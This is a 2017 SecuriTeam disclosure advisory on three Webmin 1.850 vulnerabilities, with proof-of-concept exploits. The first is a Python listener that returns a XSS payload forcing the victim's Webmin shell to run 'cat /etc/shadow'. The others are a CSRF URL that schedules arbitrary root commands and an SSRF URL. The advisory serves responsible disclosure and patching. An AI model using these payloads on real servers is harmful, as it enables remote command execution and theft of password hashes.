SSD Advisory – Webmin Multiple Vulnerabilities

blogs.securiteam.com/index.php/archives/3430

SSD / Maor Schwartz October 15, 2017

Vulnerability summary
The following advisory describes three (3) vulnerabilities found in Webmin version 1.850

Webmin “is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from the console or remotely. See the standard modules page for a list of all the functions built into Webmin.”

The vulnerabilities found are:

- XSS vulnerability that leads to Remote Code Execution
- CSRF Schedule arbitrary commands
- Server Side Request Forgery

Credit
An independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address these vulnerabilities.

For more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html

Vulnerability details
XSS vulnerability that leads to Remote Code Execution

Under Webmin menu ‘*Others/File Manager*‘ there is option to download a file from a remote server ‘*Download from remote URL*‘.

By setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution.

Webmin echo back the ‘*File Download*‘ request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the *domain=webmin-victim-ip*.

Proof of Concept

```
import socket

#================================================
#Run this script and listen for file download from webmin
#Enter payload to execute RCE
#wait for webmin to connect and download file
#Vulnerability is in Menu/Others/File Manager
#issue is webmin echoes back status of the download
#by injecting XSS we bypass the Referer: check by assign
#domain to victims own IP, then execute our RCE
#------------------------------------------------------------
#e.g.
#Download from remote URL
#http://x.x.x.x:10000/shell/index.cgi
#> whoami
#root

PORT=int(raw_input("[PORT]> ")) #port we listen on for file download requests
WEBMIN_IP=raw_input("[Webmin IP]> ") #victim

#Read /etc/shadow file
CMD=("/><script>document.domain='http://"+WEBMIN_IP+":10000/shell/index.cgi'</script>"+
"<form action='https://"+WEBMIN_IP+":10000/shell/index.cgi' method='POST' enctype='multipart/form-data'>"+
"<input type='hidden' name='cmd' value='cat /etc/shadow'><script>document.forms[0].submit()</script></form>")

s = socket.socket()
HOST = ''
s.bind((HOST, PORT))
s.listen(5)

print '\nwebmin file download 0day...'

while True:
conn, addr = s.accept()
conn.send(CMD+'\r\n')
print 'Connected!'
print s.recv(1024)
conn.close()
s.close()
```

CSRF Schedule arbitrary commands

User controlled input is not sufficiently sanitized, by sending GET request to *create_job.cgi* with the following parameter *dir=/&cmd=ls* an attacker to execute arbitrary commands.

Proof of Concept

```
http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0
```

Server Side Request Forgery

User controlled input is not sufficiently sanitized, by sending GET request to *tunnel/link.cgi/http://VICTIM-IP:8000* an attackercan trigger the vulnerability

Proof of Concept

```
1 http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000
```